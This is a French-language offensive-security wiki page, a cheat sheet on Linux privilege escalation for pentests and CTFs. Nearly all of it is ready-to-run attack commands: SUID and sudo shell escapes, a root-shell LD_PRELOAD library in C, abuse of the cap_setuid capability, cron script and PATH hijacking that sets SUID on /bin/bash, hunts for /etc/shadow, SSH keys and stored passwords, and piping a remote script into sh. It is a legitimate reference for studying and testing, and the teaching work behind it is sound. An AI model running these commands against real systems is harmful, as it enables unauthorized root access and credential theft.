Garden of KnowledgeApplied Sciences › Computer Science › Software › Security › Offensive
March 22, 2026

Linux Privilege Escalation

L’escalade de privilèges Linux consiste à passer d’un utilisateur à faibles droits (www-data, service, utilisateur standard) vers root. C’est une étape fondamentale du pentest et des CTF après avoir obtenu un premier accès.

Énumération initiale — toujours commencer ici§

# Identité et contexte
id                          # uid=1000(user) gid=1000(user) groups=...
whoami
sudo -l                     # Commandes sudo autorisées (et avec quel mot de passe)
uname -a                    # Version du kernel
cat /etc/os-release
cat /proc/version

# Utilisateurs et groupes
cat /etc/passwd             # Liste des utilisateurs
cat /etc/group              # Liste des groupes
cat /etc/shadow             # Hashes (si lisible → craquage)
ls -la /home/               # Autres utilisateurs

# Réseau
ss -tulnp                   # Ports ouverts (dont services internes)
ip a ; ip route             # Interfaces réseau
cat /etc/hosts              # Hôtes locaux

# Processus
ps aux                      # Tous les processus (chercher root + processus inconnus)
ps auxww                    # Avec ligne de commande complète

SUID et SGID§

Les binaires SUID s’exécutent avec les droits du propriétaire (souvent root), quelle que soit l’identité de l’appelant.

# Trouver tous les binaires SUID
find / -perm -u=s -type f 2>/dev/null
# Binaires suspects : tout ce qui n'est pas dans /bin, /usr/bin standard

# Binaires SGID
find / -perm -g=s -type f 2>/dev/null

# Exemples d'exploitation (GTFOBins : gtfobins.github.io)
# Si /usr/bin/find est SUID
find . -exec /bin/sh -p \; -quit   # -p = preserve privileges

# Si /usr/bin/vim est SUID
vim -c ':!/bin/sh -p'

# Si /usr/bin/nmap est SUID (versions < 5.21)
nmap --interactive
!sh

# Si /usr/bin/python est SUID
python -c 'import os; os.system("/bin/sh -p")'

# Si /bin/cp est SUID → copier /etc/shadow
cp /etc/shadow /tmp/shadow_copy

GTFOBins (gtfobins.github.io) : référence de tous les binaires Unix exploitables pour l’escalade de privilèges via SUID, sudo, capabilities.

Sudo§

# Lister les droits sudo de l'utilisateur courant
sudo -l

# Exemples de configurations vulnérables dans /etc/sudoers

# (ALL) NOPASSWD: ALL → root immédiat
sudo /bin/bash

# (ALL) NOPASSWD: /usr/bin/vim
sudo vim -c ':!/bin/bash'

# (ALL) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

# (ALL) NOPASSWD: /usr/bin/find
sudo find / -exec /bin/bash \;

# (ALL) NOPASSWD: /usr/bin/less
sudo less /etc/passwd
!/bin/bash   # Dans less, ! exécute une commande

# Sudo via LD_PRELOAD (si env_keep += LD_PRELOAD est dans sudoers)
# Créer une lib qui exécute un shell en tant que root
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void _init() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /tmp/privesc.so /tmp/privesc.c -nostartfiles
sudo LD_PRELOAD=/tmp/privesc.so /usr/bin/any_command_sudo_allows

Capabilities§

Les capabilities Linux donnent des droits précis à des binaires sans leur donner root complet.

# Lister les capabilities
getcap -r / 2>/dev/null

# Capabilities dangereuses
cap_setuid+ep   # Peut changer son UID → root
cap_net_raw+ep  # Peut sniffer le réseau brut
cap_dac_override+ep  # Peut ignorer les permissions de fichiers

# Exploitation de cap_setuid sur python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Exploitation de cap_setuid sur perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Cron jobs§

# Lister les crons système
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron.d/*
crontab -l      # Cron de l'utilisateur courant

# Si un cron s'exécute en root et appelle un script modifiable
* * * * * root /opt/backup.sh   # backup.sh appartient à l'utilisateur courant ?
ls -la /opt/backup.sh
# Si writable → modifier le script
echo "chmod +s /bin/bash" >> /opt/backup.sh
# Attendre que le cron s'exécute, puis :
/bin/bash -p   # Shell root

# PATH hijacking dans les crons
# Si cron fait : PATH=/home/user:/usr/bin → et appelle "backup" sans chemin absolu
echo '#!/bin/bash\nchmod +s /bin/bash' > /home/user/backup
chmod +x /home/user/backup
# Attendre l'exécution du cron

Fichiers de configuration sensibles§

# Chercher des mots de passe dans les fichiers
grep -r "password" /var/www/ 2>/dev/null
grep -r "DB_PASS\|db_password\|MYSQL_ROOT" /var/www/ 2>/dev/null
cat /var/www/html/config.php   # Config PHP typique
cat /home/*/.bash_history      # Historique des commandes
cat /root/.bash_history        # Si accessible
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password" 2>/dev/null

# Fichiers de backup contenant des credentials
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" 2>/dev/null

# Clés SSH
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
cat ~/.ssh/authorized_keys

Kernel exploits§

En dernier recours (risque de crash du système).

# Version du kernel
uname -r          # 5.4.0-42-generic
cat /proc/version

# Rechercher des CVEs associées
# https://www.exploit-db.com/local
# https://github.com/bwbwbwbw/linux-exploit-suggester

# Outils automatiques d'énumération des exploits kernel
./linux-exploit-suggester.sh
./linPEAS.sh | grep "CVE"

# Exemples d'exploits kernel célèbres
# Dirty Cow (CVE-2016-5195) — kernel < 4.8.3
# Dirty Pipe (CVE-2022-0847) — kernel 5.8 - 5.16.11
# PwnKit (CVE-2021-4034) — pkexec SUID, toutes distributions

Outils automatiques d’énumération§

# LinPEAS — le plus complet
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -s -k keyword -r report -e /tmp/ -t

# linux-exploit-suggester
./linux-exploit-suggester.sh

# pspy — surveiller les processus sans root (détecte les crons)
./pspy64

Récapitulatif par ordre de priorité§

graph TD
    enum[Énumération initiale\nid, sudo -l, uname] --> sudo_check
    sudo_check{sudo -l\ncontient NOPASSWD ?} -->|Oui| sudo_exploit[Exploiter sudo\nGTFOBins]
    sudo_check -->|Non| suid[Rechercher SUID\nfind / -perm -u=s]
    suid --> suid_check{Binaire\nexploitable ?} -->|Oui| suid_exploit[GTFOBins]
    suid_check -->|Non| cron[Analyser les crons\n/etc/crontab]
    cron --> cron_check{Script\nmodifiable ?} -->|Oui| cron_exploit[Modifier le script]
    cron_check -->|Non| config[Chercher credentials\ndans les configs]
    config --> kernel[Exploits kernel\nen dernier recours]
—The Gardener